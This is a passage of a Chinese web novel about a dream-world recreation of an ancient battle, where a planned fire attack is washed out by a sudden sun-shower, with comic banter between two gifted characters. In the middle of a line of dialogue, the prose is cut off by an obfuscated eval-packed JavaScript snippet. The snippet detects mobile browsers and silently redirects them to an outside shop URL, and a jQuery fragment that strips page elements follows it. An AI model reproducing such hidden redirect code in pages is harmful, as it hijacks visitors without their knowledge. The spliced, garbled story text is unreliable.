孟屿和周将军显然听不懂氧化还原什么的,于是略过了这个说辞,只进一步解释道:“根据占卜,三日后的风速和风力很适合火势蔓延,到时候,辰国的将士将忙于灭火,无暇顾及许多,沙场上的马匹也必定会受惊,阵脚一乱,气势必输,气势输了的军队,又怎么可能会获胜呢?” 孟屿有理有据地谋划着,周将军在一旁认真地盯着他的眼睛,认同地点头。 直到周将军离开了演武场,白川才把心头的困惑问了出来:“一千年前,你们用的就是同样的火攻计谋是么?” “没错,这场梦境的复原程度极高,绝不掺假。”孟屿点头承认,然后想到了些什么,反问道,“你们是不是想问我,既然一千年前输掉了,为什么这次还要用同样的方式,难道不怕再失败一次么?” 白川和祁望不约而同地点了点头。 孟屿忽然笑了:“一千年前,占卜的结果告诉我将军会获胜,但并没成真,我不知道为什么,想来是有什么无关的家伙闯了进来,影响了命运原本的走向。” 沈一禾赞叹地连连点头——他的推断和白川刚才说到的推断一模一样,虽然和他没有什么关系,但他心中还是升腾出一种“英雄所见略同”的喜悦来。 “那回是在现实世界,我无能为力,但这次不一样了,”白川又一次在孟屿的眼睛里看见那种喜悦的亮光,他听到他用很笃定的声音说道,“这次是在我的幻境里,且不说当时影响因果的家伙会不会在这场局里,就算他真的在,在我自己的幻境中,我想我也有勇气和那家伙一搏。” 他说的是“有勇气一搏”而非“有把握一搏”。 孟屿没再继续说什么,白川也没再继续问下去。 因为白川早已心照不宣地明白了孟屿拽他们几个异能者入局的意图——这个看起来无比自信的灵物,内心深处好像藏着一份不肯宣之于口的恐惧—— 他比任何人都期待这场梦境得以圆满,所以他比任何人都害怕这一仗输掉。 他害怕像千年前一样,出现些意想不到的情况,所以他甚至无视异能者和灵物之间天然的隔阂,跑来寻求异能者的帮助。 离开演武场往回走的路上,祁望走在白川的右手侧。 几人都沉默着,各有所想,忽然,祁望没头没尾地说了一句:“孟屿还挺幸运的。” “幸运?”白川不解。 “他找到的帮手是你,怎么不算是他的幸运?” 白川对祁望的言论不置可否,没有得到回应的祁望忽然走快了几步,走到白川前面,然后转过身来,就站定在白川面前,把白川拦住了。 然后他的脸上挂上了他那标志性的轻佻笑容:“我觉得我也挺幸运的。” 白川已经隐隐觉得他这后面准没好话,于是绕过他的围堵,随口敷衍道:“嗯,幸运。” 奈何祁望这家伙真的甩也甩不掉,仿佛长在了白川身侧: “白先生怎么不问问我为什么觉得我幸运?” “问问我嘛?” “白先生?” “川哥?” …… 白川被这个聒噪的家伙逼得没法子了,长长地深呼吸了几次后还是没忍住心头的烦躁,于是只好道:“你说。” 祁望眼底的笑意愈发真切,他从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300264|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后扯了一下白川的衣角,让白川别走那么快,等他两步,然后快步走到前面:“川哥你要是诚心诚意地问了,那我……就还是不说了!” 白川的步子一下子停在了原地,他感觉自己被眼前这个话说一半的疯子摆了一道。 想到这里他愈发气急败坏,走路的步子也加快起来,惹得祁望也迈开步子亦步亦趋地跟了上去。 他们似乎都无瑕留意身后,一脸习以为常的游雾,和一头雾水满目震惊的沈一禾。 沈一禾:“这俩所谓的异能天才平时都是这么玩的么?” 游雾点头。 沈一禾:“我怎么好像撞见了什么特殊的play现场?” 游雾点头。 沈一禾:“有点嗑到了怎么回事儿?” 游雾点头,然后立刻后知后觉道:“喂喂喂,这可不兴嗑啊!山海联盟守则第三十四条,禁止办公室恋情啊喂!谈恋爱只会影响异能者释放异能的速度啊喂!” 重申这条守则的时候,他显然不会想到,后来某天,自己会被人按在办公室,一个字一个字地往守则第三十四条上增加修订。 “山海联盟第三十四条,禁止办公室恋情,两个队员都是S级的情况下除外。” * 大战前的平静时分过得很快,并没有因为这是在梦境里而略微拖延。 三日已过。 豪迈的号角声带着婉转的回音,铁骨铮铮的将士们踏上不知死生的路。 将军骑着陪他征战多年的战马,战马长鬃飞扬,马背上的将军意气风发。 白川几人和孟屿一同守在后方,远远观望着前线的动静。 孟屿抬头看了看天色,紧绷的神情似乎终于松弛了几分。 “一千多年前,我也在这里等着,我等来了和今天一样的号角声,等来了将士们呐喊着冲上前,但与此同时,我还等来了密布天空的浓云,和忽然落下的骤雨。” “所以千年前影响到那场战役结果的,就是意料之外的暴雨么?”游雾问道。 孟屿点头:“原本的火攻计谋被一场大雨浇灭了,乱掉的就不是对方的军心,而是我们的军心了。” 说到这里,他忽然话锋一转,语气也愉悦起来,用手指了指万里无云的晴空:“不过眼下看来,这一次和前次到底是不同的。” 他的话音落地,沙场上,大梁的第一支羽箭射出,没有瞄准辰国的将士,却对准了辰国前锋军队举着的那只战旗。 羽箭射中了战旗长长的木杆,易燃的粉末点燃了暗红色的古旧旗面,火光一下子吸引了周遭将士们的目光,扛着战旗的将士连忙挥动着旗帜想灭火,却让周围一圈的战马受了惊,嘶鸣着逃窜开来。 孟屿站在高处,远远望着那燃烧的旗帜,仿佛已经看到了大梁的军队在周屹的带领下乘势而攻,势如破竹的场景。 成千上百的火弩都搭在弓弦上,等待将军一声令下,便会刺破长空,向辰国的大军飞驰而去。 而在副将的战旗挥舞的瞬间,一阵诡异的冷风忽然吹过,万里无云的天空竟然没由头地倾泻出一场太阳雨来。 烈日焦灼,但日光下的雨却大如倾盆,夹带着土腥气,席卷而来。 雨落在孟屿的肩头发上,孟屿抬起头,遥遥地望着将军的方向,长长地叹了一口气。